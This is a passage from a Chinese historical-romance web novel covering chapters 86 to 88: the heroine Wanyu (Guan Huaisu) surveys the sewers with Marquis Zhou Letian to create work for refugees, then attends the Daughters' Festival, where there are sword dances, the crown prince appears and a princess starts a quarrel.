到了门口,王妈妈猛地想起来,立刻说:“对了,我今儿在老夫人屋里伺候,听到老夫人催促崔小娘,让她快些给大姑娘找亲事,崔小娘说大娘子已经安排好了眉目,准备这几日有空就安排大姑娘与对方相看,那人好像是西北来的商贾,听着不像是什么靠谱人家,姑娘千万小心。” “多谢妈妈,妈妈的好,我心里记着。”关怀素笑着点头,亲自送她到门口,目送她离开。 “我方才露马脚了。”看着人走远,关怀素沉声说,“老夫人那弟弟的事情,先头我从未听过,一句话就叫王妈妈察觉出不对了。” 柳叶登时紧张地问:“那怎么办?” 关怀素这会儿冷静下来,反而不紧张了,摇摇头,轻声说:“无事,她女儿的婚事已经定下,身家性命也在我这边,如今她就算觉得不对,也只会帮我遮掩。” 柳叶闻言,咬咬唇,轻声说:“最近老爷几次叫你去,都是考校功课和工学,姑娘心里有什么想法没?” 关怀素眯了眯眼睛,轻声说:“八仙庄他们已经去了,找不到证据,我们入京悄无声息,他们没有证据,就算有怀疑,暂时也无所谓。” 柳叶点点头,轻声说:“就算他们找到永年县,大家伙也不会随便透露任何信息的,我相信乡亲们。” 关怀素怀念地笑起来,点头,说:“对!” 二人想到一起长大的乡邻,登时心中才瞬间畅快。 第八十六章 下水清污 关怀素给跛三传书,让他即刻出发去肇州查陈妈妈的事情,第二日又马不停蹄去赵家上课。 下课的时候,赵白芷叫住了匆忙的关怀素,笑着说:“知道婉玉姐姐最近忙,但是今儿可得空留一留?” 关怀素笑问何事,赵白芷便说:“实不相瞒,明儿就是女儿节,我想叫姐姐与我做个军师,帮我挑一挑如何搭配。” “哎呀,穿衣打扮我懂啊!妹妹要不要我也来帮你看看?”婉蓉听到眼前一亮,便立刻自告奋勇也要参加。 赵白芷便笑着说好,婉淑一听哪里肯单独离开,于是三人便收拾东西,一路去赵白芷屋里去看新衣裳。 赵白芷的衣裳都是新做的,全数都是最时兴的样式,且料子十分昂贵。 丫鬟们把备选的几套衣裙一拿出来,婉蓉就低呼了一声:“竟是罗烟纱!” 罗烟纱顾名思义,极轻极薄,穿上之后像是一层烟雾一样松松拢在身上,夏日做外披或是春秋做罩纱,都雅韵非常。 但是因技艺难得,素来只供宫内使用,民间难见。 不但有罗烟纱,便是云锦做的衣裙也有,这些都是宫内贡品,瞧着应都是皇宫里赏赐出来的好东西。 “那条裙子好看,颜色也好!”婉蓉看了一圈,兴奋地指向了最艳丽的红底云锦满绣百花裙,又指向绛紫色的满绣百花穿蝶上衣,说,“搭上那个,华贵又好看!” “上下花成一团了,哪里好看,人都快变成个花架子了!”婉淑瞧不过去,便忍不住出口说,“我瞧那条蓝色百迭裙就很不错,上面搭那件月白色的,这样一套就很清雅端庄。” 赵白芷看了一下,似乎是都不太满意,便转头问关怀素:“婉玉姐姐觉得如何?” 婉淑那套太素,明儿个去皇家园林,赵白芷好歹也是未来的太子良娣,不可穿的太素了,压不住场面;可婉蓉挑的那套又太艳了,并不好看。 关怀素便看了一圈,温声说:“我瞧那云锦裙子确实好看。” 那是婉蓉指的那条裙子,婉蓉便露出得意之色。 不过关怀素立刻指着另一件空青色滚边绣花上衣,说:“上头搭这个衣裳,外头套那件绣花比甲,再拿那件鸦青色的纱压一压,妹妹瞧着如何?” 丫鬟们闻言便把衣衫放在一起,这样一搭配,原先过于浓艳的满绣红裙就被彻底压住,华贵之余端庄秀雅,极是特别。 赵白芷看到之后,脸上露出喜色,连声说:“妹妹真是巧思,我怎地没想过这样搭,如此真是好看又雅致!就这么搭了!” 说完叫丫鬟收拾好衣衫明日穿,又拿出一堆首饰叫大家帮忙搭配,如此忙活半天,赵白芷又留她们吃了午饭喝了茶,才送她们离开。 “白芷妹妹那衣衫首饰可真多真好看啊!”出门婉蓉就忍不住酸溜溜地说,“明儿个女儿节,我那衣裳可不知要被人甩多少里地去了。” 婉淑一贯定力好的,也忍不住附和了一句:“是啊,我那儿新做的春衫,如此想来竟是连一件能拿出手的都没有。” 两人都说完了,发现关怀素没说话,便都齐齐看着关怀素。 关怀素看了二人一眼,说:“本该如此,白芷妹妹可是未来太子良娣,自然不同,咱们难道还要拿自个儿与皇家比?” 婉蓉冷笑一声,说:“不过姐妹私下说说而已,姐姐倒是训斥上人了,真没意思。” 说话之间,已经出了赵家,关怀素打眼便看到来福在门口等着。 “我不是叫人传信,说了赵妹妹叫我们选衣衫,今儿个许是要迟一些出来呢?”关怀素见到他们,登时就一愣,忙走过去问。 “有些事情,需要姑娘亲自定夺,侯爷一直等着。”来福今日不曾嬉笑,显然真有急事。 关怀素也不耽搁,立刻便上了马车。 她上了马车,来福就跳上车,甩了一鞭子,马车径自离开,都未曾给婉蓉与婉淑一个眼神。 当然这也是自然的,毕竟来福是侯爷身边的贴身人,没道理对谁都热络。 但是瞧着关怀素被奉为上宾,请上马车,自个儿却看都不被看一眼,素来掐尖的婉蓉却心里愈发难受了,她忍不住说:“大姐姐嘴巴说得漂亮,不过是眼瞧着也要巴上侯爷了,自然不眼红赵家姐姐!” “姐姐噤声,这是在赵家门口!”婉淑轻声皱眉提醒,上了自家的马车。 婉蓉跟着进来,冷笑说:“你倒是好性子,日后想来对着良娣与侯夫人跪下行礼,也当是这副镇定模样才好。” 婉淑冷声对婉蓉说:“二姐姐若瞧着眼热,怎地不好好打扮,若入了平安侯的眼,他日未必就不是尊贵人呢?!” 这话说的婉蓉痛处——上回公主小宴,她盛装打扮,结果小侯爷看都没看她一眼! 婉蓉自恃美貌,最近下学之后,其实也有刻意打扮,甚至开始还跟着关怀素去给周乐天请安,可周乐天却压根像是没看到她一般,后面还叫来福拦着,自己不下马车了。 避嫌到这个程度,已经是摆在了脸上。 婉蓉再春心萌动,这么一番下来,早已经明白自己绝无可能,这会子婉淑这么说,她心中大恨,捏着帕子说:“平安侯是尊贵,可他那名声,还有那身体……哼,还不知道嫁给他日后是什么前程呢!” “二姐姐有大志气,妹妹祝姐姐得偿所愿。”婉淑瞥她一眼,气定神闲地说。 婉蓉气得要死,偏又找不到婉淑的痛脚,一路咬牙回了屋,见到小娘,眼圈就发红了。 崔小娘还以为出了啥事,听婉蓉这么一说,却压低声音说:“你傻啊,平安侯上头还有公主,若是能勾搭上他,便是他日后不在了,只要留下一儿半女,下半辈子享不尽的富贵了!” “他一眼都不看我!”婉蓉在小娘面前也不装了,哭丧着脸说,“我那是不愿意吗?我是没法儿!” 崔小娘一听,立刻便说:“既是如此,你要好好哄着你二哥哥才是。” “那日后我给赵白芷行礼,还得给大姐姐行礼?谁都嫁得比我好?!”婉蓉一听,立刻便不乐意了,说,“合着我便活该这辈子都比她们差么?!” “你放心,你大姐姐嫁不了平安侯。”崔小娘却冷笑一声,说,大娘子已经谈好了人家,你且等着吧,这几日就要定下来了。 婉蓉一听,立刻便喜不自禁,说:“真的?” “我瞧着平安侯日日接她,若是侯爷自己……”婉蓉不放心地问。 “你还小,不懂。”崔小娘却没放在心上,冷笑一声,说,“若是一个男人真的喜欢一个女子,必然不会叫她日日抛头露面,还去城西那等流民聚众的杂乱地方。平安侯对你姐姐客气,不过是想叫她做事罢了。这也值当你放在心上?” 婉蓉一听,也觉得十分有道理,立刻便开心了,立刻便去准备起明儿的衣裳首饰去了。 “小娘,老夫人说脖子又不舒服了,叫你过去按按。”门口姜妈妈进门,小声说。 崔小娘脸上的笑容一滞,咬牙,轻声说:“你跟老爷说了,我温了酒等他来喝吗?” “老爷说知道了,说、说……”姜妈妈咬牙,轻声说,“说这几日刚回暖,宁小娘贪凉着凉了,没人照顾,这几日就不过来了。” 崔小娘一听,登时气得牙齿发痒。 “这贱人!”崔小娘的帕子搅成一团,说,“她是成心与我作对!” 姜妈妈不敢说话,崔小娘含恨站起来,说:“走!” “小娘,你连着伺候老夫人,昨儿个腿都肿了,胳膊也是肿的,就不能告病歇歇么?”姜妈妈却心疼地说。 崔小娘脸上的神色缓了一下,叹了口气,摇头说:“歇不得,如今老爷给后院的狐狸精缠住了,若是没有老夫人,家里上下哪里还有我的位置?” 说着,她扶着姜妈妈站起来,一路往老夫人那里去。 姜妈妈心里难受,崔小娘反而安抚她:“没事,把这一阵子熬过去就成,把大姑娘嫁出去,蓉儿嫁得好了,后院没孩子,新鲜一两年,也就过去了。” 姜妈妈闻言,叹了口气,轻声说:“就是小娘也太委屈了。” “我不委屈。”崔小娘笑了笑,说,“熬得过来就成,笑到最后,才是赢家。” 二人说着话,往正院去了。 而关怀素已经到了地方,才发现今儿个闹出了一件大事。 城西爆发了一场不小的流民冲突——原是城西招大量工匠做活,每日管饭食还有工钱,这对流民来说,不啻于救命的活计。 可早来的流民早已经把位置占的差不多了,甚至分了地域拉帮结派,有些为了抢活儿,甚至睡在城西的大街上,只等着监工一来,立刻围上去为自己这帮人抢活儿。 如此一来,自然冲突愈发多了,今日甚至直接爆发了械斗。 这事儿闹得严重,虽当场处罚了人,但是大家都知道,这都是没饭吃闹得,所以这事儿根子不在别的,当务之急,必须几处一起开工,好歹叫这帮逃雪灾的新流民也有活儿做,才能彻底平息此事。 “辛苦姑娘了,城东地大,若是能一起开工,目前能把这帮人安置一番。”周乐天解释完,就愧疚地说,“就是姑娘会更为辛苦。” “这事儿你早该告诉我,这有什么辛苦的?”关怀素听完就急了,立刻说,“难道还有饿肚子辛苦?下回有这种事情,你第一时间跟我说!” 二人说着,马车已经到了城东勘探之处,关怀素下了马车,走了一圈稍微看了一下,说:“事急从权,既然赶工,那只能委屈各位和我去地下淤泥里面走一遭了!” 大家伙儿都不明所以,但是宋兰与陈松都是绘图的,知道她的意思,宋兰立刻说:“姐姐,不如我和陈伯伯一起下去,你和侯爷在后面等着。” “不成,这下面很多地方只有我看得懂。”关怀素摇头,已经把裙子提起来扎在腰间,并把裤腿扎在绑带里,对大家说,“烦请各位大人,至少派三十人,十人拿着火把开道,十人绘图测量,再有十人背着图纸和书纸等着替换。” “快些照姑娘说的做!”周乐天立刻开口,也开始如关怀素一般扎衣摆和袖口裤子。 “侯爷你别下去,下面全是各种腐物淤泥,许还有蛇虫鼠蚁,我都不确定下面如今是什么情况。”关怀素瞧他也打算下去,立刻说,“你身子不合适。” “我陪着你。”周乐天却说。 关怀素还想说什么,他认真地看着她,说:“我不是废人,我也曾在草原里喝过马血、吃过腐肉。” 关怀素心中一软,知道他的执拗,便不再坚持,只说:“那你一定要小心,若是坚持不住,便赶紧上来!” 工部诸人一开始还觉得关怀素夸大其词,不过是地下水道而已,何至于做出如此夸张情态? 结果诸人下去之后,当场就有官员呕吐出来。 实在是这下面各种腐烂的臭气常年沤在一起,闻着臭不可闻! “啊!老鼠!”还有官员在尖叫。 关怀素却压根没空管这些人,只叫开道的各位小心些,自己也拿着火把,当先往前。 城东这一道的地下水道网,关怀远早年设计的时候,极其费心,因这地方没有城西的天然水道优势,只能把地下的排水做的详尽。 常年维护不当,许多地方已经完全腐坏,有些地方被巨大的脏污结块堵在一起,还有些地方甚至已经全部塌下。 若是有时间,本是可以让杂役们慢慢勘探,但这时候来不及了,不严重的,当场便让人粗粗处理,严重的没办法的,便记载下来,等着过后叫人处理。 关怀素一边说,宋兰便在旁边简略绘制局部图纸,陈松便在旁边飞快在大图上做记号。 他们忙得热火朝天,工部的官员也慢慢习惯,最主要是连平安侯都踩在淤泥里面色丝毫不变,他们可不敢继续娇气,便都开始有条不紊地行动起来。 如此一下来,进度飞快,到了傍晚的时候,竟已经忙完了城东五分之一的地下水道标绘。 “明儿个我来不了,但是刚好可以叫人把堵住的地方开始清淤,上面一时半会儿开不了工,但是下头可以叫人加固,分段做工,到时候能凑在一起就成。”从其中一个排淤口爬出来之后,关怀素已经头上脸上都是蛛网,脚下到膝盖都是淤泥,整个人臭烘烘的,但是她却压根没注意,只一连串地说着安排。 说完又低声对周乐天说:“侯爷,流民太多,这样安置得下来吗?” “不够,全力接纳,也不过小半。”周乐天摇摇头,皱眉说,“但是总比什么都不做好。” 关怀素闻言,点点头,轻声叹了口气,说:“侯爷说得对。” “是我的不是,明日就是女儿节,我却叫你遍身污泥,人家都在准备裙子衣衫,我倒是叫你忙到现在。”周乐天瞧她这样子,内疚地说。 关怀素闻言一笑,说:“哎呀,我现在很丑吧?” 她原是玩笑,却听到周乐天郑重地说:“很漂亮。” 关怀素一愣,看向周乐天,却见他仿佛怕自己不信,认真地说:“江天一色无纤尘,皎皎空中孤月轮。姑娘此刻在我眼中纤尘不染,清如江水、皎如明月。” 关怀素一下子愣住了。 微风吹起周乐天的头发,他也是满身脏污,但是眼睛亮如明星。 在关怀素的眼中,此刻为了百姓生计满身污泥的周乐天也是如此。 纤尘不染。 清如江水、皎如明月。 第八十七章 女儿节(上) 第二日一大早,李家所有下人都在忙碌。 圣人劝课农桑可是大事,全家都忙着熏香换衣。 昨儿忙到大半夜才洗干净的关怀素和柳叶,大早上也被丁妈妈早早叫醒。 关怀素洗漱之后,换上了姨母给的春衫——下裙是浓绿色绣花织金百迭纱裙,上头搭配着月白色圆领衫,外头罩了件银红色的素纱。 “姑娘,可要戴公主赐的珍珠头冠?”丁妈妈问。 “太张扬了,不成!”关怀素立刻摇头。 柳叶也说:“虽说是大场合,但是公主赐的那大拉翅满头景是朝冠的规制,确实过了。” 又捧出盒子来,说:“用这套如何,姑娘?” 关怀素一看,是周乐天送给她的珍珠冠。 一看到这套珍珠冠,关怀素便想到昨日周乐天认真夸赞她的样子,当时大家都臭烘烘的,可是有一瞬,关怀素觉得心中与眼前人有了共振。 她不知道这是什么感觉,但是此刻见到那珍珠冠,眼底神色柔和下来。 “那便就用它吧。”关怀素点点头,说。 柳叶嘴角都翘起来,给关怀素小心地戴好,然后看了看,说:“平安侯选的确实好,这珍珠冠姑娘戴着真是好看!” 确实是,关怀素身上的衣衫其实偏素雅,但是这顶珍珠冠戴上之后,两边的流苏步摇戴上,走动之间珍珠流光婉转,瞬间便贵气逼人。 等到一家人跟着孙大娘子出发时,婉蓉和婉淑一见她打扮,登时脸色都沉了下来。 “姐姐这衣裳似乎是江南一带的烟云纱。”珍珠冠上次见过,婉蓉倒是习惯了,她眼睛尖利,一下子就看出来料子也是未见过的,立刻问,“今年家里竟做了这么好的衣裳?怎地我那儿没有?!” “二姐姐你看清楚,姐姐那条裙子是织金提花的缎子,这在外头可买不到,绝对不是家里的份例。”婉淑也看得清楚,这会子瞧着是提醒婉蓉,其实却是提醒全家人注意,又说,“大姐姐今儿这一身,瞧着都不是家里安排的。” 众人登时都想起来关怀素及笄时,大长公主送的那些首饰和料子,程娘子拉来的一车东西。 登时神色就怪异起来。 可姨母是人家的、大长公主这个同窗也是人家阿娘的,婉蓉婉淑心中再酸涩,也不能说什么。 老夫人瞧着婉蓉吃瘪,冷声开口:“知道你得了好东西欢喜,可是这恨不得把好东西全戴在头上,也实在是轻狂了些。” 关怀素扶鬓而笑:“都是伯娘姨母所赐,婉玉怕若是不用,叫长辈觉得我嫌弃了。” “行了,婉玉这样打扮很是好看,很有你阿娘当年的样子了。”李珺站出来打圆场,神色之中目露怀念,轻声感慨,“难得是节日,这样打扮极好看。” 李珺这么一说,其他人不好再出声,一行人这才辞别老夫人启程。 上了马车,婉蓉瞧瞧关怀素头上的珍珠冠,再看看她的织锦提花裙子,目露怨恨,又不知在想什么。 婉淑面上气定神闲,但是帕子都搅成一团了。 关怀素并不把她们放在眼里,只看着外面的流民,一边想着开春了,幸运的流民有了生计,但是若是能再给安置一些,叫他们找到活计,那才是大事。 想着想着,很快到了地方。 因是观礼,所以都在官员家眷所在的地方安静等待。 五品官员的官眷站位隔得很远,只知道圣人来了,就乌压压地跪下,圣人念了祷祝上天的话之后,大家站起来,远远只听说圣人在地里来回耕了半亩地,太子又亲自上去跟着耕了半亩。 然后圣人先行带着一众人离开,众人这才终于松快,一路又上了马车,进了园林。 等到了地方下车,眼前登时一阵开阔。 皇室园林可不是普通地方能比拟,沿途的长廊竟是环抱几座山,中间清澈长河能并驱四驾,如今刚三月,河边沿途遍开桃花,美得如梦似幻。 众人看得都瞪大眼睛,一时遍地抽气声音。 人们顿时都欢快起来,李珺跟同僚相约去亭子里登高望远,关怀素则是早与程姨母约好,这时候程姨母带着宋兰一起找来,关怀素立刻挽着程姨母的手,带着柳叶一起,准备沿河去看桃花。 程娘子往日在这种场合都无人搭理,如今一路走过去,却全是官眷在笑着行礼问安,还有人热切地过来请安,问县主可要同行。 程娘子不是爱热闹的性子,便笑着婉拒,一路带着关怀素往前走,顺着长廊下了河岸,到了河岸边上,才看到最好的位置,桃花开得最旺盛的河岸边,此刻摆了厚厚的席子,上面摆了各种果脯点心、下酒菜等等。 厉如珠等一干武将女眷和夫人正在席地而坐,一边喝酒一边嬉笑。 见到程娘子带着关怀素来,便有好几个夫人小娘子都大笑着招呼,还有人拉着程娘子说:“你这倔驴,如今终于舍得出来和我们玩了!” 又看向关怀素,有些嗔怪地说:“听说你这小木头疙瘩终于想开了?这些日子我们一直托你姨母带你出来与我们见面,偏她又怕吓到你,竟一味推诿!” 说话的夫人柳叶眉吊梢眼,瞧着是个不饶人的,但是言语爽利大气,自带亲昵。 程娘子怕吓到关怀素,忙一帕子甩这夫人脸上,怒声说:“常青青,你这泼皮浑说什么,别吓到我们玉儿!” 常青青,关怀素眼前一亮,立刻知道这夫人是谁。 这应当是常威将军的独女,当年小时候还曾当过太后身边的女官。 弄清楚这夫人身份,关怀素立刻便行了个礼,笑着说:“夫人何必拿我取笑,我年纪还小,不懂事是正常的,反倒是夫人比我大,难道小辈犯错,长辈竟不是帮助改正,反而记仇不成?” 常青青听到她口齿伶俐,登时瞪大眼睛,像是看到了什么天大的稀罕,说:“哎哟,你真倒像是换了个人!” 又对众人说:“你们听听她说的,哎哟,反倒是我这个伯娘不是了!” 旁边就有人笑着说:“活该,你这牙尖嘴利的,今儿可算是遇到对手了!” 又有人说:“哎呀,瞧这样子,终于有素素当年的一点样子了!” 众人说完,都慈爱地笑着看关怀素,还有人起哄叫常青青赔不是。 常青青一听,顿时说:“哎哟,这话说得,我还真是说不出道理。罢罢罢,是我这个伯娘的不是,那我拿这东西与你赔罪,可以了吧?” 说完,她竟直接从手腕上褪下一只金铃铛镯来,笑着给关怀素戴上。 “哎呀,这抠门的今儿竟拔毛了,婉玉你可千万得收下!”旁边人就跟着调笑。 关怀素知道这是认亲戚,也算是把姐姐当年断掉的母家亲眷再续上,这时候是肯定不能拒绝的,否则便是断亲,便也跟着坦荡地笑着让常青青戴上,完了抬手细看,见这金镯上挂着藕和金玲,一步一响,清脆好听,便笑着说:“那婉玉便收下了,这镯子好重,竟是实心的,伯娘回家可别肉痛啊!” 这一番俏皮话说的众人都哄堂大笑,常青青跺脚恼怒,说:“这小泼皮,竟拿我说笑!” 又指着众人说:“你们还不快都送些见面礼!不能叫我一个人荷包出血!” 笑闹之中,众人竟真的都一一上前,送了礼物。 有些十分贵重,有些瞧着拮据的,也都提前备了自己亲手做的绣活儿等等,关怀素全数收下,一一跟着程娘子叫人,如此一番下来,气氛便一下子亲密起来。 认了人,说了会儿话,程娘子和大人们聊天,就叫厉如珠带着关怀素和宋兰去小辈那边坐下说话去。 关怀素与宋兰过去坐下,厉如珠给她们拿杯子,刚要倒酒,就听到一个姑娘说:“珠珠姐姐,你给她倒酒作甚?她素来看不起我们这种粗人,现在已经够委屈了,你还让她在地上坐着喝酒,小心回去人家委屈的哭。” 关怀素抬眼一看,见对面是个包子脸的漂亮姑娘,看到她看过去,还不客气地翻了个白眼。 关怀素觉得有些好笑,不等厉如珠说话,便笑着说:“难道之前妹妹请我喝酒,被我拒绝过?” “那倒没有。”那姑娘没好气地说,“但我们前年女儿节踏歌舞剑,珠珠姐姐叫你来玩,你却像没看到我们一样,转头走了。你既然看不起我们,现在何必过来和我们玩?” “她哪里是和我们玩,是看在程姨母的面上搭理我们呢!”旁边有姑娘也开口。 关怀素看了一圈,周围的姑娘们都沉默不语,许都是这种想法。唯有厉如珠有些着急,却不知道如何开口。 “哼,我当你们是爽快大气的,没想到也是一群小肚鸡肠的货色!”宋兰却突然冷声开口。 “你说什么?谁小肚鸡肠了?!”包子脸登时大怒,指着宋兰说。 “我说的就是你们!”宋兰甩开关怀素的手,怒声说,“你们自小可以习武、出门玩耍,隔三差五便能叫姐妹出城骑马打球,那你们知道我和婉玉姐姐在家里过的什么日子吗?我们自小就只能认认字,别说习武,便是寻常出门都不行,那是不安于室!一年四季,只能有大日子才能出门交际,在路上把马车帘子拉开都会被妈妈教训……你们说婉玉姐姐不搭理你们,她当时没人撑腰,若是白天搭理你们,晚上就会被罚跪祠堂,说不得被送去乡下庄子上,你们自个儿过得舒服,不体谅婉玉姐姐的苦楚就算了,婉玉姐姐自个儿熬过来了,你们还来这里兴师问罪!” 说完,宋兰立刻要拉关怀素:“走,婉玉姐姐,她们既看不惯我们,我们又何苦留在这里看人家脸色!” 说着就要拉关怀素离开。 关怀素却没打算与这些年轻姑娘交恶,她拉着宋兰,轻叹一声,说:“兰妹妹,她们不知道咱们的难处,也不是故意的。” 又对着面前的包子脸说:“我听说我阿娘年轻时候,剑舞极其厉害,我怎会看不起呢?” 厉如珠终于找到机会,立刻连声说:“对对,你们不知道,婉玉姐姐在家里过得多苦!当时我和程姨母想接她出来串串门,竟被人拦在大门口,不许通传!” 这话一说,姑娘们立刻神色变了,连那包子脸都震惊地问怎么回事。 武将家的女儿,从未听说过这种事,登时都像是听说书一般,听厉如珠说起当初关怀素与孙大娘子门口的一番口角。 听得众人登时纷纷抽气,厉如珠又说:“你们不知道,那帮子文官家里女子都很可怜,姐姐一直被关在家里,她当初硬要和姨母出来见面,家里那大娘子还说日后不再管她了!又是威胁又是呵斥的,多吓人!” 众位武将家的姑娘听得眼睛都瞪大了,那包子脸的小姑娘登时面红耳赤,举起酒杯就对关怀素说:“婉玉姐姐,兰姐姐,是我不是,我不知道你们往日竟过得如此艰难,是我小肚鸡肠,是我的错!这杯酒就当我赔罪了!” 说完,她竟是仰头,一饮而尽。 其他姑娘也是,纷纷喝酒道歉,关怀素心中为她们的坦荡与直率感动,哪怕宋兰也脸色一下子缓和下来。 关怀素也倒酒喝下,又为以前的事情赔不是,说:“我年纪小,自小阿娘不在,那时候竟不知道众位姐妹都是如此豪爽阔达的人物,也是我的错。” 说完,她也一口喝完厉如珠倒的酒,喝完大家相视一笑,冰雪相融,一时间竟瞬间亲近起来。 宋兰本来气性大,拿着酒还不想喝,包子脸见了,又亲自斟酒再次赔罪,众人起哄,她到底是喝了下去。 这下子,这帮子小姐妹一下子便嘻嘻哈哈,亲热起来。 第八十八章 女儿节(中) 众位小姐妹喝了酒,略说了几句闲话,便有人问关怀素与宋兰:“你们在家中不能出来,那想必舞剑也不会了?” 关怀素点头,笑着说:“但是今儿我可以大饱眼福,看够剑舞了!” 宋兰也说:“这辈子还没见过剑舞呢!” 众人大笑出声,厉如珠当先便抽出腰间长剑,一个飞身出去,在桃花下飒爽舞起来! 她出手十分老辣,一身劲装在桃花之下飒飒起舞,真是格外英姿勃发。 关怀素看得激动,只可惜她于音律一道是真的完全一窍不通,不然此时若是能凑一曲,踏歌舞剑,那才是人生一大快事! 恰在她扼腕的时候,宋兰看得喜悦,抽出腰间长笛,登时原地立刻传出一道清越笛音,激昂雄浑,厉如珠一听到,脸上笑意一凝,瞬间杀气一震,猛地折转长剑,剑锋之中开始震出破空之声。 包子脸听得也十分激动,竟放下酒杯,一掌击在地上拿起佩剑,而后一个鹞子翻身,在空中大喊一声:“厉姐姐,接招!” 说完,她整个人便化为一道剑气,直冲厉如珠而去! 厉如珠大喊一声:“来得好!” 而后她一脚踏在桃花树上,一个转身,一点也不避忌,直接接下包子脸的剑招! 两人当场打起来,笛音愈发激昂,隐隐带着杀伐之气,厉如珠和包子脸有来有回,漫天的桃花被剑气激荡,在天地之间纷纷落下一场粉色的雨。 而后笛音缓缓变慢,厉如珠与包子脸杀气也跟着收起来,最后厉如珠一脚踩在桃花树上,落地横扫,树上惊落的落花与地上的花瓣一起被激荡,在半空之中交汇,横剑而立的高挑少女侧身与停在树枝上的提剑姑娘对视,满地桃花为背景,美得如梦似幻。 “好、好!”突然身后传来叫好之声,看呆的众人这才回过神来,回头一看,身后乌压压一群人,当头站着的朱衣男子,不是当今太子殿下又是谁? “见过殿下!”厉如珠立刻驻剑下跪,包子脸也立刻翻身下树,跪在厉如珠身边一起请安。 众人齐齐跟上。 太子却并不管众人,竟是走到了关怀素她们面前,而后,亲自搀扶懵掉的宋兰,说:“你的笛音很美,可愿意跟我回去?” 此话一出,众人齐齐色变。 关怀素更是紧张地瞪大眼睛,宋兰更是心中大骇,她抬头看着太子,勉强冷静下来回话:“多谢殿下赏识,但是民女不过是稍微会一些,并不十分精通,当不起殿下如此夸奖。” 这就是委婉拒绝的意思了。 可是太子却完全听不懂一般,直接说:“不,你的笛音很好,我听得出来,你是个心中有大抱负的人。” 太子的声音还是如此平整,且每隔几个字,都有种非常浅的停顿,听着并不明显,只觉得有种古怪的执拗。 就在现场所有人都陷入焦灼的时候,关怀素却看到有熟悉的裙摆到了二人面前,而后是赵白芷笑盈盈的声音,说:“殿下,她不是在自谦,她的笛音确实不算特别。” 赵白芷轻声对太子说完,又对身后人说:“乐天哥哥,这里风景美,踏歌舞剑,多快活,叫人把乐器搬过来,我们一起玩怎么样?” 众人不管什么心思,都纷纷附和。 周乐天也走过来,握住太子的手,温声说:“白芷妹妹的琴才是真的好,你不妨听听,再做打算。” 七情不开的人有时候会十分固执,关怀素心中紧张,生怕太子当场发火。 但是奇怪的是,周乐天这么一说,太子竟然就十分自然地顺从点头,而后这一整块地方都被侍从们梳理开来,众人按次序都干脆坐在垫子上,赵白芷叫人摆了琴,而后自己坐下,又对厉如珠笑着说:“方才我瞧见两位姐妹舞剑飒美异常,现在我想奏一曲《西风曲》,不知二位可否为我舞剑?” 厉如珠和包子脸自然不可能拒绝未来太子良娣,立刻握剑拱手应声齐齐应是,而后赵白芷猛地一抚琴,琴音如烈马啸风,瞬间激的在场众人头皮一麻! 这也是关怀素第一次听赵白芷弹琴,乐器一道,她们未曾跟赵家学。 关怀素只隐约知道赵白芷自小习琴,猜测她这方面非常不错,但是却不知道她竟如此厉害,一曲《西风曲》,让人仿佛感受到战场厮杀,从开始雄兵对峙,到杀伐四起,再到最后琴音转低,一阵幽怨如泣如诉,仿佛鬼入幽冥,回望故乡…… 一曲毕,四下俱静,却突然听到太子说:“你的琴音很好,但是你很难过,为什么?” 依然还是四平八稳的语调,并不曾有什么起伏。 如果不是关怀素知道太子有七情不开之症,大概也看不出来什么异常,说不定还觉得太子沉稳,喜怒不形于色。 难怪朝野上下,没有一个人传出太子的事儿。 关怀素在这边暗忖,那边赵白芷却有些愕然地看着太子,然后才摇摇头,轻笑说:“只是想到《西风曲》意,可怜无定河边骨,犹是春闺梦里人。人生若是没有别离和战乱,那该是多好。” 她这话说得四平八稳,太子却有些奇怪地看她,说:“你为什么要撒谎?” 周乐天突然开口,温声说:“这河边风景很好,大家都去散步看看吧。” 众人本来就觉得如坐针毡,这会儿听到周乐天发话,见太子点头,顿时一窝蜂地起身离开,关怀素也跟着厉如珠他们想要走,却听到身后赵白芷说:“婉玉姐姐,你留下来陪我一道看风景吧?” 这话说完,众人神色莫测地看关怀素一眼,关怀素便笑着赔罪,回头走到赵白芷身侧坐下。 留下的人并不少,太子却还在执拗地问赵白芷:“你是不是不开心了?” 赵白芷叹了口气,还没说话,突然就听到一声惊喜的声音,高喊:“太子哥哥!我找了你好久,你怎么跑来这里了!” 说话之间,一道华丽璀璨的人影飞快跑过来,却是福宁郡主。 福宁郡主一来就自顾自坐在太子身边,搀着太子胳膊,然后与太子撒娇完,左右一看,一下子看到了赵白芷与关怀素二人,她脸色登时就一沉,说:“赵姐姐,你下个月就要嫁入太子府,按理不该随便出门,怎地今日还跟着太子哥哥出来?” 这话说的,在场众人都脸色一变。 按例来说,今儿个女儿节,男女凑在一起饮宴倒也不算什么,可时下风气愈紧,像福宁郡主一般找茬,也确实无法分辨。 起码赵白芷此刻找不到话语为自己辩解。 关怀素瞧不过去,温声开口:“见过郡主,今儿个圣人发话,全京师的官眷都可入园玩耍,白芷姐姐也是跟着家人来的园子,大家伙儿遇到也是偶然,如今全京师的姑娘都在这院子里过女儿节,原就是圣人的恩泽,这有什么不可呢?” 拿出圣人旨意这么一说,福宁郡主就没话说了,她只能冷哼一声,看向关怀素,恶狠狠地说:“奇怪,每回怎地都能看到你,上回在乐天哥哥的屋里,也是你,上上回在我府里走错路的也是你,怎地哪儿都有你?” 明明都是之前说过的事儿,现在又拿在一起说,这就是赤裸裸地拿关怀素撒脾气了。 关怀素心中气恼,刚想说话,却听到一直沉默的周乐天突然冷声开口:“福宁,你也到了及笄的年纪,有些话不要随便乱说。你要是说女眷都不可以与我们来往,那你第一个就该待在府里,不许外出。” 这话说得极重,气的福宁郡主脸色一红,偏周乐天还没打算放过她,继续说:“还有,你今儿也算是及笄了,以后不要随便抱着太子殿下撒娇,去,给福宁郡主安排好座位!” 说完,竟是直接叫下人安排了下首的位置,放了果脯点心等。 福宁郡主自小跋扈习惯了,人生第一次被周乐天这样教训回来,登时又羞又气,想说什么,偏又说不出,且瞧着太子也不理她,她又舍不得走,便气恨地起身,坐在了空出来的位置上。 关怀素看着,内心五味杂陈。 她素来冰雪聪明,从这短短的相处之中就看出来了——太子太信任小侯爷了,几乎是到了完全信而不疑的程度。 太子七情不开,很难改变自己的心智,可怕的是,周乐天才学与武艺都极为拔尖,尤其是用兵打仗,几乎是将星一般的存在;而更为要命的是,他的母亲乃是大长公主,是当年与当今圣人一起开府、隐有争储之势的实权公主,而周乐天,是她唯一的儿子。 如此这样的一个人物,若是当今圣人与先帝,大概还能弹压得住,让他做一个利国利民的重臣,尚无不可。 但是到如今这位太子殿下手下,就只能赌周乐天的良心了。 